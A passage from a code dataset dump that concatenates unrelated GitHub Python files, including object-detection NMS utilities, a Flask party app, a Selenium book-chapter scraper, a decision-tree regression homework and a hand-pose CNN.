box[1]+0.5*box[3]) - \\\n np.maximum(boxes[:,1]-0.5*boxes[:,3], box[1]-0.5*box[3]),\n 0\n )\n inter = lr*tb\n union = boxes[:,2]*boxes[:,3] + box[2]*box[3] - inter\n return inter/union\n\n\ndef nms(boxes, class_ids, probs, threshold=0.8):\n \"\"\"Non-Maximum supression.\n Args:\n boxes: array of [cx, cy, w, h] (center format)\n class_ids: array of classes\n probs: array of probabilities\n threshold: two boxes are considered overlapping if their IOU is largher than this threshold\n form: 'center' or 'diagonal'\n Returns:\n boxes: boxes to be selected by non-max suppression\n class_ids: classes to be selected by non-max suppression\n class_ids: probabilities to be selected by non-max suppression\n keep: array of True or False.\n \"\"\"\n order = probs.argsort()[::-1]\n keep = [True]*len(order)\n\n for i in range(len(order)-1):\n ovps = batch_iou(boxes[order[i+1:]], boxes[order[i]])\n for j, ov in enumerate(ovps):\n if ov > threshold:\n keep[order[j+i+1]] = False\n \n return boxes[keep], class_ids[keep], probs[keep], keep\n\n\ndef filter_boxes(bboxes, pred_classes, model_input_size=416, score_threshold=0.4):\n boxes = []\n class_ids = []\n for i, box in enumerate(bboxes):\n if pred_classes[i][1] >= score_threshold:\n x1 = (box[0] - box[2]/2) / model_input_size\n y1 = (box[1] - box[3]/2) / model_input_size\n x2 = (box[0] + box[2]/2) / model_input_size\n y2 = (box[1] + box[3]/2) / model_input_size\n boxes.append([x1,y1,x2,y2]) \n class_ids.append(pred_classes[i])\n \n classes, probs = zip(*class_ids)\n classes = np.array(classes)\n probs = np.array(probs)\n boxes = np.array(boxes)\n return boxes, classes, probs\n\n\ndef predict(image_data, ih, iw):\n r\"\"\"\n Performs object detection and predicts using the model.\n\n :param image_data: numpy array of the resized image passed in for inference.\n \"\"\"\n PAYLOAD = {}\n PAYLOAD[\"timestamp\"] = str(datetime.datetime.now())\n PAYLOAD[\"inference-type\"] = \"object-detection\"\n PAYLOAD[\"inference-description\"] = \"Top {} predictions with score {} or above \".format(\n config_utils.MAX_NO_OF_RESULTS, config_utils.SCORE_THRESHOLD\n )\n PAYLOAD[\"inference-results\"] = []\n \n try:\n # Get prediction results from tflite\n interpreter.set_tensor(input_details[0][\"index\"], image_data)\n interpreter.invoke()\n pred = [interpreter.get_tensor(output_details[i]['index']) for i in range(len(output_details))]\n \n # Get classes and bounding boxes\n bboxes = np.array([tuple(x) for x in pred[0][0]])\n pred_classes = []\n for c in pred[1][0]:\n pred_class = (int(np.argmax(c)), float(np.max(c)))\n pred_classes.append(pred_class)\n boxes, class_ids, probs = filter_boxes(bboxes, pred_classes, config_utils.MODEL_INPUT_SIZE)\n boxes, class_ids, probs, keep = nms(boxes, class_ids, probs)\n \n if class_ids is not None:\n for box, cid, prob in zip(boxes, class_ids, probs):\n if prob >= config_utils.SCORE_THRESHOLD: \n x,y,w,h = get_bbox_abs_coordinate(box, ih, iw)\n class_str = label_list[int(cid)]\n #print((x,y,w,h), cid, class_str, prob)\n result = {\n \"Label\": str(class_str),\n \"Label_index\": str(cid),\n \"Score\": str(prob),\n \"Box\": str((x,y,w,h))\n }\n PAYLOAD[\"inference-results\"].append(result)\n\n config_utils.logger.info(json.dumps(PAYLOAD))\n if config_utils.TOPIC.strip() != \"\":\n ipc_utils.IPCUtils().publish_results_to_cloud(PAYLOAD)\n else:\n config_utils.logger.info(\"No topic set to publish the inference results to the cloud.\")\n except Exception as e:\n config_utils.logger.error(\"Exception occured during prediction: {}\".format(e))\n","repo_name":"daekeun-ml/ggv2-cv-mlops-workshop","sub_path":"3.byom-objdetection-from-public-component/artifacts/prediction_utils.py","file_name":"prediction_utils.py","file_ext":"py","file_size_in_byte":10091,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"4402155999","text":"import json\n\n\ndef read_json(file) -> list:\n \"\"\"Читает json-файл\"\"\"\n with open(file, 'r', encoding='UTF-8') as file:\n data = json.load(file)\n return data\n\n\ndef get_employers(data: list) -> list:\n \"\"\"Получает список кортежей из списка словарей\"\"\"\n employers = []\n for item in data:\n employers.append((item['id'], item['title']))\n return employers\n\n","repo_name":"tyvlv/KR_5","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74469399127","text":"from random import *\n\nnum_act_list = [2, 3, 4, 5]\nnum_stb_list = [2, 3, 4, 5]\ndemand_com_list = [10]\ndemand_bw_list = [10]\n\n\ndef request_generator(oAmS, mAoS, mA):\n CR = []\n ACT = {}\n STB = {}\n RC_u = {}\n RB_u = {}\n\n for i in range(oAmS):\n req = 'req' + 'A' + str(i)\n CR.append(req)\n num_stb = choice(num_stb_list)\n STB[req] = []\n ACT[req] = []\n for j in range(num_stb):\n STB[req].append(req + 'stb' + str(j))\n ACT[req].append(req + 'act0')\n RC_u[req] = choice(demand_com_list)\n RB_u[req] = choice(demand_bw_list)\n\n for i in range(mAoS):\n req = 'req' + 'B' + str(i)\n CR.append(req)\n num_act = choice(num_act_list)\n ACT[req] = []\n STB[req] = []\n for j in range(num_act):\n ACT[req].append(req + 'act' + str(j))\n STB[req].append(req + 'stb0')\n RC_u[req] = choice(demand_com_list)\n RB_u[req] = choice(demand_bw_list)\n\n for i in range(mA):\n req = 'req' + 'C' + str(i)\n CR.append(req)\n num_act = choice(num_act_list)\n ACT[req] = []\n STB[req] = []\n for j in range(num_act):\n ACT[req].append(req + 'act' + str(j))\n RC_u[req] = choice(demand_com_list)\n RB_u[req] = choice(demand_bw_list)\n\n return {'CR': CR, 'ACT': ACT, 'STB': STB, 'RC_u': RC_u, 'RB_u': RB_u}\n\n","repo_name":"xuan0802/availability-cluster-placement","sub_path":"avai_cluster_placement/requests/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15034117459","text":"import struct\n\nfrom external_asset_ism_ismc_generation_tool.common.logger.i_logger import ILogger\nfrom external_asset_ism_ismc_generation_tool.common.logger.logger import Logger\n\n\nclass BitReader:\n __logger: ILogger = Logger(\"BitReader\")\n\n @classmethod\n def redefine_logger(cls, logger: ILogger):\n cls.__logger = logger\n\n # Detail: http://multimedia.cx/eggs/python-bit-classes\n __INITIAL_BIT_POSITION: int = 7\n __INITIAL_BYTE_POSITION: int = 1\n\n __buffer: bytes\n __bit_position: int\n __byte_position: int\n\n def __init__(self, buffer: bytes):\n self.__buffer = buffer\n self.__bit_position = self.__INITIAL_BIT_POSITION\n self.__byte_position = self.__INITIAL_BYTE_POSITION\n self.__byte = struct.unpack(\"B\", self.__buffer[0].to_bytes(1, 'big'))[0]\n\n def get_bits(self, num_bits):\n num = 0\n mask = 1 << self.__bit_position\n while num_bits:\n num_bits -= 1\n num <<= 1\n if self.__byte & mask:\n num |= 1\n mask >>= 1\n self.__bit_position -= 1\n if self.__bit_position < 0:\n self.__bit_position = 7\n mask = 1 << self.__bit_position\n self.__byte = self.read_byte()\n self.__byte_position += 1\n return num\n\n def read_byte(self) -> int:\n if self.__byte_position < len(self.__buffer):\n return struct.unpack(\"B\", self.__buffer[self.__byte_position].to_bytes(1, 'big'))[0]\n\n return 0\n\n def read_bytes(self, count):\n data = self.__buffer[self.__byte_position - 1: self.__byte_position - 1 + count]\n self.step(count)\n return data\n\n def trim(self):\n bits_to_trim = 7 - self.__bit_position\n self.get_bits(bits_to_trim)\n\n def tell(self):\n return self.__byte_position\n\n def step(self, idx):\n self.__byte_position += idx\n\n def ue(self):\n leading_zero_bits = -1\n b = 0\n while not b:\n leading_zero_bits += 1\n b = self.get_bits(1)\n return 2 ** leading_zero_bits - 1 + self.get_bits(leading_zero_bits)\n\n def current_bit(self):\n return (self.__byte_position - 1) * 8 + (7 - self.__bit_position)\n","repo_name":"harmonicinc-com/external-asset-ism-ismc-generation-tool","sub_path":"external_asset_ism_ismc_generation_tool/common/bit_reader.py","file_name":"bit_reader.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"72760421529","text":"\"\"\"\nInitialize your Flask app. This is what will run your server.\n\nDon't forget to install your dependencies from requirements.txt!\nThis is a doc string! It's a special kind of comment that is expected\nin Python files. Usually, you use this at the top of your code and in\nevery function & class to explain what the code does.\n\"\"\"\nimport os\nimport requests\nfrom flask import Flask, render_template, request\nfrom guests import Guest\nfrom datetime import datetime, date\nfrom pprint import PrettyPrinter\n\n\nAPI_KEY = os.getenv(\"API_KEY\")\n\n# This initializes our PrettyPrinter object:\npp = PrettyPrinter(indent=4)\n\ntoday = date.today()\n# Now, let's just get the month as a number:\nmonth = today.strftime('%m')\n# Now, let's get the current year:\nyear = today.strftime('%Y')\n\n# This code initializes a basic flask application.\n\napp = Flask(__name__)\n\n# Setting values to reference in the functions\nmy_name = \"Veer\"\n\nhalloween = \"Saturday, October 31st\"\nspooky_time = \"5:00pm\"\n\nguest_list = []\n\n\ndef get_holiday_data(result):\n \"\"\"Loop through our JSON results and get only the information we need.\"\"\"\n data = []\n for holiday in result[\"response\"][\"holidays\"]:\n new_holiday = {\n \"name\": holiday[\"name\"],\n \"description\": holiday[\"description\"],\n \"date\": holiday[\"date\"][\"iso\"],\n }\n data.append(new_holiday)\n return data\n\n\n@app.route(\"/\")\ndef homepage():\n \"\"\"Return template for home.\"\"\"\n\n return render_template(\"index.html\", name=my_name)\n\n\n@app.route('/about')\ndef about_page():\n \"\"\"Show user party information.\"\"\"\n # Sometimes, a cleaner way to pass variables to templates is to create a\n # context dictionary, and then pass the data in by dictionary key\n\n url = 'https://calendarific.com/api/v2/holidays'\n\n params = {\n \"api_key\": API_KEY,\n \"country\": \"US\",\n \"year\": year,\n \"month\": month\n }\n\n result_json = requests.get(url, params=params).json()\n # pp.pprint(result_json)\n\n data = get_holiday_data(result_json)\n holidays = []\n dates = []\n descriptions = []\n\n for holiday in data:\n holidays.append(holiday[\"name\"])\n dates.append(holiday[\"date\"])\n descriptions.append(holiday[\"description\"])\n\n context = {\n \"holidays\": holidays,\n \"dates\": dates,\n \"descriptions\": descriptions\n }\n\n return render_template('about.html', **context)\n\n\n@app.route(\"/guests\", methods=[\"GET\", \"POST\"])\ndef guestspage():\n if request.method == \"GET\":\n return render_template(\"guests.html\", guests=guest_list)\n elif request.method == \"POST\":\n name = request.form.get(\"name\")\n email = request.form.get(\"email\")\n plus_one = request.form.get(\"plus-one\")\n phone = request.form.get(\"phone\")\n costume = request.form.get(\"costume\")\n coming = request.form.get(\"coming\")\n guest_list.append(Guest(name, email, plus_one, phone, costume, coming))\n return render_template(\"guests.html\", guests=guest_list)\n\n\n@app.route(\"/rsvp\")\ndef rsvppage():\n return render_template(\"rsvp.html\", guests=guest_list)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"Kou-kun42/fdis-week-3","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40076613284","text":"import json\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nfrom selenium import webdriver\r\nimport time\r\n# Keys 是用作关键词输入\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.chrome.options import Options\r\n\r\nchrome_options = Options()\r\nchrome_options.add_argument('--headless')\r\nchrome_options.add_argument('--disable-gpu')\r\nchrome_options.add_argument('log-level=3')\r\n# chrome_options.add_argument(\"--proxy-server=http://127.0.0.1:1080\")\r\nchrome_position = 'F:\\\\chromedriver\\\\chromedriver.exe'\r\n\r\nclass GetBook(object):\r\n def __init__(self,name):\r\n self.name = name\r\n self.books = self.get_book_list()\r\n self.result = self.get_book_link(self.books,name)\r\n if self.result == None:\r\n return\r\n link_list = self.get_chapter_list(self.result)\r\n self.get_content(link_list)\r\n # 获取书名列表\r\n def get_book_list(self):\r\n with open('book_list.json','r',encoding='utf-8') as f:\r\n t = json.load(f)\r\n return t\r\n # 获取被查询的图书链接\r\n def get_book_link(self,books,name):\r\n for book in books:\r\n if name == book['name']:\r\n print(book['link'])\r\n return book['link']\r\n print('你所查询的书名不存在!')\r\n return None\r\n # 获取章节列表\r\n def get_chapter_list(self, book_link):\r\n baseurl = 'http://www.99lib.net'\r\n proxie = {\r\n 'http': 'http://127.0.0.1:1080',\r\n }\r\n print('获取章节列表中...')\r\n res = requests.get(book_link,proxies=proxie)\r\n html = BeautifulSoup(res.text, 'html.parser')\r\n a_list = html.select('#dir')[0].find_all('a')\r\n link_list = list(map(lambda x: baseurl + x['href'],a_list))\r\n print('本书共有' + str(len(link_list)) + '章')\r\n return link_list\r\n # 获取章节内容\r\n def get_content(self, link_list):\r\n driver = webdriver.Chrome(executable_path=chrome_position,chrome_options=chrome_options)\r\n page = 0\r\n total = len(link_list)\r\n for link in link_list:\r\n page += 1\r\n driver.get(link)\r\n # 等待一段时间\r\n driver.implicitly_wait(1)\r\n for i in range(40):\r\n driver.execute_script(\"window.scrollTo(0,document.body.scrollHeight)\")\r\n time.sleep(0.02)\r\n # 找到name为\"q\"的元素\r\n elem = driver.find_element_by_id(\"content\").text\r\n self.save_content(elem, self.name)\r\n # print(elem.text)\r\n print('第' + str(page) + '章下载完毕/共' + str(total) + '章')\r\n print('图书下载完成!')\r\n driver.quit()\r\n def save_content(self, content, name):\r\n with open(name + '.txt', 'a', encoding=\"utf-8\") as f:\r\n f.write(content + '\\n')\r\n\r\n\r\nif __name__ == '__main__':\r\n book_name = input('请输入书名:')\r\n GetBook(book_name)","repo_name":"tyodin/learning","sub_path":"资料-爬书-2.py","file_name":"资料-爬书-2.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38740035590","text":"#20200314\n#why\n#相似度计算,分成三类:1.都不是专业领域内的词;2.两个词都是专业领域内的词;3.一个是专业领域,另一个是非专业领域\nfrom lib.cilin import *\nfrom pyhanlp import *\n\n\ncs = CilinSimilarity()\n#cs是cilin类的一个实例,目的为了调用它里面的函数\n# sim1 = cs.similarity(w1, w2)\n# sim2 = cs.sim2013(w1, w2)\n# sim3 = cs.sim2016(w1, w2)\n\n\ndef isConsistent(s1,s2):#关系是否相同\n if s1==s2:\n return 1\n else:\n return 0\n\ndef similar(s1,s2):#相似度计算(分三类)\n if s1==s2:\n return 1\n elif isExist(s1) and isExist(s2):\n if s1==s2:\n return 1\n else:\n return 0\n elif isExist(s1) or isExist(s2):\n return 0\n else: #非领域的且不相等用“基于同义词词林的词语相似度计算方法”计算\n return cs.similarity(s1, s2)\n\ndef isExist(s):#判断是否属于领域类词\n if word_count3(s)>0: #如果是领域中的词\n return True\n else:\n return False\n\ndef word_count3(s):#语料库词频计算:对600个标准答案进行分词后词频的计算\n model_path = \"data/dictionary/领域/领域.txt\"\n with open(model_path, \"r\",encoding='UTF-8') as fr:\n while True:\n data = fr.readline()[:-1].split(' ')# 一行一行的读\n if len(data) >1: #若未读完\n if s == data[0]: #如果等于领域中的词\n return (int)(data[2]) #返回领域中该词出现的次数\n else:\n break\n return 0\n\n\n\nif __name__ == '__main__':\n s1 = \"香蕉\"\n s2 = \"指\"\n print(isExist(s1))\n print(isExist(s2))\n print(similar(s1,s2))\n print(cs.similarity(s1, s2))","repo_name":"fightinfg/GUI","sub_path":"p_exe/p_exe/Debug/resources/lib/Similarity.py","file_name":"Similarity.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"33697445152","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport math\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.stats as stats\n\ndef safelog2(x):\n if x == 0:\n return(0)\n else:\n return(np.log2(x))\n\n\n# In[2]:\n\n\n# read data into memory\ndata_set = np.genfromtxt(\"hw05_data_set.csv\", delimiter = \",\", skip_header = 1)\n\n# divide data set into two parts: training set and test set\nX_training = data_set[0:150, 0]\nX_test = data_set[150:, 0]\nY_training = data_set[0:150, 1].astype(int)\nY_test = data_set[150:, 1].astype(int)\n\n# get number of classes and number of samples\nK = np.max(data_set[:, 1].astype(int))\n\n\n# In[3]:\n\n\ndef calc_RMSE(y_pred, y_truth):\n res = np.sqrt(np.sum(np.square(y_truth - y_pred)) / len(y_truth))\n return res\n\n\n# In[4]:\n\n\ndef learn_tree(x, y, P):\n # create necessary data structures\n node_indices = {}\n is_terminal = {}\n need_split = {}\n\n node_splits = {}\n node_means = {}\n\n # put all training instances into the root node\n node_indices[1] = np.array(range(len(x)))\n is_terminal[1] = False\n need_split[1] = True\n\n # learning algorithm\n while True:\n # find nodes that need splitting\n split_nodes = [key for key, value in need_split.items() if value == True]\n \n # check whether we reach all terminal nodes\n if len(split_nodes) == 0:\n break\n \n # find best split positions for all nodes\n for split_node in split_nodes:\n data_indices = node_indices[split_node]\n need_split[split_node] = False\n node_means[split_node] = np.mean(y[data_indices])\n \n # pre-pruning\n if data_indices.size <= P:\n is_terminal[split_node] = True\n else:\n is_terminal[split_node] = False\n\n unique_values = np.sort(np.unique(x[data_indices]))\n split_positions = (unique_values[1:len(unique_values)] + unique_values[0:(len(unique_values) - 1)]) / 2\n split_scores = np.repeat(0.0, len(split_positions))\n \n for s in range(len(split_positions)):\n left_indices = data_indices[x[data_indices] > split_positions[s]]\n right_indices = data_indices[x[data_indices] <= split_positions[s]]\n split_scores[s] = -len(left_indices) / len(data_indices) * (np.mean(y[left_indices]) * safelog2(np.mean(y[left_indices]))) - len(right_indices) / len(data_indices) * (np.mean(y[right_indices]) * safelog2(np.mean(y[right_indices])))\n \n best_score = np.min(split_scores)\n best_split = split_positions[np.argmin(split_scores)]\n \n node_splits[split_node] = best_split\n\n # create left node using the selected split\n left_indices = data_indices[x[data_indices] > best_split]\n node_indices[2 * split_node] = left_indices\n is_terminal[2 * split_node] = False\n need_split[2 * split_node] = True\n\n # create right node using the selected split\n right_indices = data_indices[x[data_indices] <= best_split]\n node_indices[2 * split_node + 1] = right_indices\n is_terminal[2 * split_node + 1] = False\n need_split[2 * split_node + 1] = True\n \n return node_means, node_splits, is_terminal\n\n\n# In[5]:\n\n\ndef predict(x, node_means, node_splits, is_terminal):\n ind = 1 # starting from root\n while True:\n if is_terminal[ind] == True:\n return node_means[ind]\n elif x > node_splits[ind]:\n ind = ind * 2 # left child\n else:\n ind = ind * 2 + 1 # right child\n\n\n# In[6]:\n\n\nP = 25\n\nnode_means, node_splits, is_terminal = learn_tree(X_training, Y_training, P)\n\nminval = min(data_set[:, 0])\nmaxval = max(data_set[:, 0])\ndata_interval = np.arange(minval, maxval, 0.001)\n\nfig = plt.figure(figsize = (10,5))\nplt.plot(X_training, Y_training, \"b.\", label = \"training\", markersize = 10)\nplt.plot(X_test, Y_test, \"r.\", label = \"test\", markersize = 10)\n\npred = []\nfor i in range(len(data_interval)):\n pred.append(predict(data_interval[i],node_means, node_splits, is_terminal))\nplt.plot(data_interval, pred, color=\"black\")\n\nplt.xlabel(\"Eruption time (min)\")\nplt.ylabel(\"Waiting time to next eruption (min)\")\nplt.legend(loc = \"upper left\")\nplt.show()\n\n\n# In[7]:\n\n\npred_training = np.array([predict(x, node_means, node_splits, is_terminal) for x in X_training])\npred_test = np.array([predict(x, node_means, node_splits, is_terminal) for x in X_test])\n\nRMSE_training = calc_RMSE(pred_training, Y_training)\nRMSE_test = calc_RMSE(pred_test, Y_test)\nprint(\"RMSE on training set is {} when P is {}\".format(RMSE_training, P))\nprint(\"RMSE on test set is {} when P is {}\".format(RMSE_test, P))\n\n\n# In[8]:\n\n\nRMSE_training = []\nRMSE_test = []\nfor P in range(5,51,5):\n node_means, node_splits, is_terminal = learn_tree(X_training, Y_training, P)\n pred_training = np.array([predict(x, node_means, node_splits, is_terminal) for x in X_training])\n pred_test = np.array([predict(x, node_means, node_splits, is_terminal) for x in X_test])\n RMSE_training.append(calc_RMSE(pred_training, Y_training))\n RMSE_test.append(calc_RMSE(pred_test, Y_test))\nRMSE_training = np.array(RMSE_training)\nRMSE_test = np.array(RMSE_test)\n\nfig = plt.figure(figsize = (10,10))\nplt.plot(range(5,51,5), RMSE_training, \"b.-\", label = \"training\", markersize = 10)\nplt.plot(range(5,51,5), RMSE_test, \"r.-\", label = \"test\", markersize = 10)\n\nplt.xlabel(\"Pre-pruning size (P)\")\nplt.ylabel(\"RMSE\")\nplt.legend(loc = \"upper right\")\nplt.show()\n\n","repo_name":"dogademirturk/ENGR421_Homeworks","sub_path":"HW05_Decision_Tree_Regression/ENGR421_hw05_68859.py","file_name":"ENGR421_hw05_68859.py","file_ext":"py","file_size_in_byte":5723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22844276830","text":"import torch.nn as nn\nimport torch\n\n# print net.params\n__all__ = ['RenderHand']\n\nclass Repeat(nn.Module):\n\tdef __init__(self, channel, num_class):\n\t\tsuper(Repeat, self).__init__()\n\t\tself.conv1 = nn.Conv2d(channel, 128, kernel_size = 7, padding =3)\n\t\tself.conv2 = nn.Conv2d(128, 128, kernel_size = 7, padding = 3)\n\t\tself.conv3 = nn.Conv2d(128, 128, kernel_size = 7, padding = 3)\n\t\tself.conv4 = nn.Conv2d(128, 128, kernel_size = 7, padding = 3)\n\t\tself.conv5 = nn.Conv2d(128, 128, kernel_size = 7, padding = 3)\n\t\tself.conv6 = nn.Conv2d(128, 128, kernel_size = 1, padding = 0)\n\t\tself.conv7 = nn.Conv2d(128, num_class, kernel_size = 1, padding = 0)\n\t\tself.relu = nn.ReLU(inplace = True)\n\n\tdef forward(self, x):\t\t\n\t\tout = self.relu(self.conv1(x))\n\t\tout = self.relu(self.conv2(out))\n\t\tout = self.relu(self.conv3(out))\n\t\tout = self.relu(self.conv4(out))\n\t\tout = self.relu(self.conv5(out))\n\t\tout = self.relu(self.conv6(out))\n\t\tout = self.conv7(out)\n\t\treturn out\n\n# class RefineNet(nn.Module):\n# \tdef __init__(self, num_class):\n# \t\tsuper(RefineNet, self).__init__()\n# \t\tself.conv1 = nn.Conv2d( 4, 128, kernel_size = 7, padding = 3)\n# \t\tself.conv2 = nn.Conv2d(128, 128, kernel_size = 7, padding = 3)\n# \t\tself.conv3 = nn.Conv2d(128, 128, kernel_size = 7, padding = 3)\n# \t\tself.conv4 = nn.Conv2d(128, 128, kernel_size = 7, padding = 3)\n# \t\tself.conv5 = nn.Conv2d(128, 128, kernel_size = 7, padding = 3)\n# \t\tself.conv6 = nn.Conv2d(128, 4, kernel_size = 1, padding = 0)\n# \t\tself.relu = nn.ReLU(inplace = True)\n\n# \tdef forward(self, x):\n# \t\tout = self.relu(self.conv1( x))\n# \t\tout = self.relu(self.conv2(out))\n# \t\tout = self.relu(self.conv3(out))\n# \t\tout = self.relu(self.conv4(out))\n# \t\tout = self.relu(self.conv5(out))\n# \t\tout = self.relu(self.conv6(out))\n# \t\treturn out\n\n\n\n\nclass RenderHand(nn.Module):\n\tdef __init__(self, num_class = 22, **kwargs):\n\t\tsuper(RenderHand, self).__init__()\n\t\tself.pool = nn.MaxPool2d(2, padding = 0)\n\t\tself.relu = nn.ReLU(inplace = True)\n\t\tself.conv1_1 = nn.Conv2d( 3, 64, kernel_size = 3, padding =1)\n\t\tself.conv1_2 = nn.Conv2d( 64, 64, kernel_size = 3, padding =1)\n\n\t\tself.conv2_1 = nn.Conv2d( 64, 128, kernel_size = 3, padding =1)\n\t\tself.conv2_2 = nn.Conv2d(128, 128, kernel_size = 3, padding =1)\n\n\t\tself.conv3_1 = nn.Conv2d(128, 256, kernel_size = 3, padding =1)\n\t\tself.conv3_2 = nn.Conv2d(256, 256, kernel_size = 3, padding =1)\n\t\tself.conv3_3 = nn.Conv2d(256, 256, kernel_size = 3, padding =1)\n\t\tself.conv3_4 = nn.Conv2d(256, 256, kernel_size = 3, padding =1)\n\n\t\tself.conv4_1 = nn.Conv2d(256, 512, kernel_size = 3, padding =1)\n\t\tself.conv4_2 = nn.Conv2d(512, 512, kernel_size = 3, padding =1)\n\t\tself.conv4_3 = nn.Conv2d(512, 512, kernel_size = 3, padding =1)\n\t\tself.conv4_4 = nn.Conv2d(512, 512, kernel_size = 3, padding =1)\n\t\t\n\t\tself.conv5_1 = nn.Conv2d(512, 512, kernel_size = 3, padding =1)\n\t\tself.conv5_2 = nn.Conv2d(512, 512, kernel_size = 3, padding =1)\n\t\tself.conv5_3_CPM = nn.Conv2d(512, 128, kernel_size = 3, padding =1)\n\n\t\tself.conv6_1_CPM = nn.Conv2d(128, 512, kernel_size = 1, padding =0)\n\t\tself.conv6_2_CPM = nn.Conv2d(512, num_class, kernel_size = 1, padding =0)\n\n\t\tself.stage2 = Repeat(128 + num_class, num_class)\n\t\tself.stage3 = Repeat(128 + num_class, num_class)\n\t\tself.stage4 = Repeat(128 + num_class, num_class)\n\t\tself.stage5 = Repeat(128 + num_class, num_class)\n\t\tself.stage6 = Repeat(128 + num_class, num_class)\n\n\t\t\n\t\tself.thumb = Repeat(5, 4)\n\t\tself.index = Repeat(5, 4)\n\t\tself.middle = Repeat(5, 4)\n\t\tself.ring = Repeat(5, 4)\n\t\tself.pinky = Repeat(5, 4)\n\n\n\tdef forward(self, x):\n\t\tout = self.relu(self.conv1_1(x))\n\t\tout = self.relu(self.conv1_2(out))\n\t\tout = self.pool(out)\n\n\t\tout = self.relu(self.conv2_1(out))\n\t\tout = self.relu(self.conv2_2(out))\n\t\tout = self.pool(out)\n\t\t\n\t\tout = self.relu(self.conv3_1(out))\n\t\tout = self.relu(self.conv3_2(out))\n\t\tout = self.relu(self.conv3_3(out))\n\t\tout = self.relu(self.conv3_4(out))\n\t\tout = self.pool(out)\n\n\t\tout = self.relu(self.conv4_1(out))\n\t\tout = self.relu(self.conv4_2(out))\n\t\tout = self.relu(self.conv4_3(out))\n\t\tout = self.relu(self.conv4_4(out))\n\n\t\tout = self.relu(self.conv5_1(out))\n\t\tout = self.relu(self.conv5_2(out))\n\t\tout_0 = self.relu(self.conv5_3_CPM(out))\n\n\t\tout_1 = self.relu(self.conv6_1_CPM(out_0))\n\t\tout_1 = self.conv6_2_CPM(out_1)\n\n\t\tout_2 = torch.cat((out_1, out_0), 1)\n\t\tout_2 = self.stage2(out_2)\n\n\t\tout_3 = torch.cat((out_2, out_0), 1)\n\t\tout_3 = self.stage3(out_3)\n\n\t\tout_4 = torch.cat((out_3, out_0), 1)\n\t\tout_4 = self.stage4(out_4)\n\n\t\tout_5 = torch.cat((out_4, out_0), 1)\n\t\tout_5 = self.stage5(out_5)\n\n\t\tout_6 = torch.cat((out_5, out_0), 1)\n\t\tout_6 = self.stage6(out_6)\n\n\t\twrist = out_6[:, 0: 1,:,:]\n\t\tthumb = torch.cat((out_6[:, 1: 5,:,:], wrist), 1)\n\t\tindex = torch.cat((out_6[:, 5: 9,:,:], wrist), 1)\n\t\tmiddle = torch.cat((out_6[:, 9:13,:,:], wrist), 1)\n\t\tring = torch.cat((out_6[:,13:17,:,:], wrist), 1)\n\t\tpinky = torch.cat((out_6[:,17:21,:,:], wrist), 1)\n\n\t\tthumb0 = self.thumb(thumb)\n\t\tindex0 = self.index(index)\n\t\tmiddle0 = self.middle(middle)\n\t\tring0 = self.ring(ring)\n\t\tpinky0 = self.pinky(pinky)\n\n\t\tout_7 = torch.cat((wrist,thumb0, index0, middle0, ring0, pinky0), 1)\n\n\t\treturn [out_1, out_2, out_3, out_4, out_5, out_6, out_7]\n","repo_name":"Kuzphi/UniversalHand3dFrame","sub_path":"src/model/networks/RenderHand.py","file_name":"RenderHand.py","file_ext":"py","file_size_in_byte":5184,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"13243621270","text":"import sys\nimport os.path as osp\nsys.path.append(osp.abspath(osp.join(__file__, '../../')))\nfrom evaluation import COCO\nfrom evaluation import COCOeval\n# from models.rnn_model_full_bire_class_split_add_origin_score_no_encoder import Encoder_Decoder\nfrom dataset.multi_dataset_before_before_nms import TrainDataset, unique_collate\n# from solver.solver_full_nms_weight import solver, load_checkpoint\nimport torch\nimport argparse\nimport os\nimport numpy as np\nfrom multiprocessing import Process, Manager\nimport cvbase as cvb\nimport cv2\nimport time\nfrom pandas.core.frame import DataFrame\nimport matplotlib.pyplot as plt\ndef parse_args():\n parser = argparse.ArgumentParser(description='visualize')\n\n parser.add_argument('--base_path', \n default='/data/luqi/dataset/pytorch_data/',\n help='the data path of RNN')\n\n parser.add_argument('--gt_path', \n default='/data/luqi/dataset/coco/annotations/instances_val2017.json',\n help='the path of gt json')\n\n parser.add_argument('--img_list',\n default='val.txt',\n help='the img_list')\n\n parser.add_argument('--use_mode',\n default='unique',\n help='the method of score_box_fusion')\n\n parser.add_argument('--ann_type',\n default='bbox',\n help='the type of anns, det or segm')\n\n parser.add_argument('--thread_all', \n default=16,\n type=int,\n help='the hidden size of RNN')\n \n args = parser.parse_args()\n return args\n\ndef vis_detections(img, cls_name, cls_bbox):\n \"\"\"Draw detected bounding boxes.\"\"\"\n cls_len = len(cls_name)\n import math\n row_len = math.ceil(cls_len ** (0.5))\n col_len = math.ceil(cls_len / row_len)\n # fig, ax = plt.subplots(figsize=(12, 12))\n for ii in range(cls_len):\n im = img\n dets = cls_bbox[ii]\n name = cls_name[ii] \n inds = dets.shape[0]\n\n im = im[:, :, (2, 1, 0)]\n fig = plt.subplot(row_len, col_len, ii+1)\n plt.imshow(im)\n fig.set_title(name)\n for i in range(inds):\n bbox = dets[i, :4]\n 